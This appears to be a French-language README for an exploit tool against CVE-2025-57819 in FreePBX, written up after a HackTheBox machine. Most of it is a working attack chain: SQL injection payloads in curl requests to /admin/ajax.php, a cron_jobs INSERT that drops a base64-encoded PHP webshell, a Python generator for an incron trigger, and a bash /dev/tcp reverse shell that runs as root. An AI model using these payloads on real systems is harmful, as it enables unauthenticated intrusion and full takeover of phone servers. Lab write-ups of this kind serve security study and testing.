
Injection SQL non authentifiée à exécution de code à distance dans FreePBX — CVE-2025-57819
Sévérité: Critique
Type: Injection SQL non authentifiée → Exécution de code à distance
Logiciel concerné: FreePBX (module endpoint)
Testé sur: FreePBX sous CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5
Une vulnérabilité d'injection SQL non authentifiée existe dans le module endpoint de FreePBX via le paramètre brand dans /admin/ajax.php. Aucun identifiant n'est requis pour exploiter cette vulnérabilité.
Combinée au mécanisme interne de tâches cron de FreePBX et au système de hooks incron/fwconsole, cela conduit à un shell root non authentifié complet.
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
Exemple :
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
Sortie :
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
Le paramètre brand dans le gestionnaire AJAX du module endpoint est passé directement dans une requête SQL sans assainissement :
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Ceci retourne le nom de la base de données dans une erreur XPATH — une technique classique de SQLi basée sur les erreurs. Les requêtes empilées sont également supportées, permettant les opérations INSERT, UPDATE et DELETE.
En utilisant des requêtes empilées, une tâche cron est insérée dans la table cron_jobs de FreePBX :
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
L'exécuteur cron de FreePBX exécute ceci chaque minute, déposant un webshell PHP dans la racine web.
incrond surveille /var/spool/asterisk/incron/ (accessible en écriture par l'utilisateur asterisk). Lorsqu'un fichier y est créé, il déclenche /usr/bin/sysadmin_manager en tant que root.
Le format de nom de fichier api.fwconsole-commands.<payload> correspond à un hook préexistant signé GPG situé à :
/var/www/html/admin/modules/api/hooks/fwconsole-commands
Le hook décode le nom de fichier comme une charge utile base64(zlib(json([cmd, txn_id]))) et exécute :
$cmd = "/usr/sbin/fwconsole $command 2>&1";
En utilisant help; comme préfixe, fwconsole est considéré comme une commande valide, et le ; permet d'enchaîner des commandes shell arbitraires :
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
Ceci s'exécute en tant que root, donnant un shell root complet.
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| Date | Événement |
|---|---|
| 2025 | Vulnérabilité découverte et signalée |
| 2025-11-30 | Machine déployée sur HackTheBox |
| 2025 | CVE-2025-57819 attribuée |
Cet outil est destiné à des fins éducatives et à des tests de sécurité autorisés uniquement. Ne l'utilisez pas contre des systèmes pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur n'est pas responsable de toute utilisation abusive.
| Résultat | Détail |
|---|
| Base de données | asterisk (MariaDB 5.5.65) |
| Utilisateur DB | freepbxuser@localhost |
| Utilisateur web | asterisk (uid=999) |
| Table cron | accessible en écriture via SQLi |
| Répertoire incron | /var/spool/asterisk/incron/ (accessible en écriture par asterisk) |
| Élévation de privilèges | le hook fwconsole s'exécute en tant que root via incrond |
| Méthode root | Déclencheur Incron → hook fwconsole signé → injection de commande |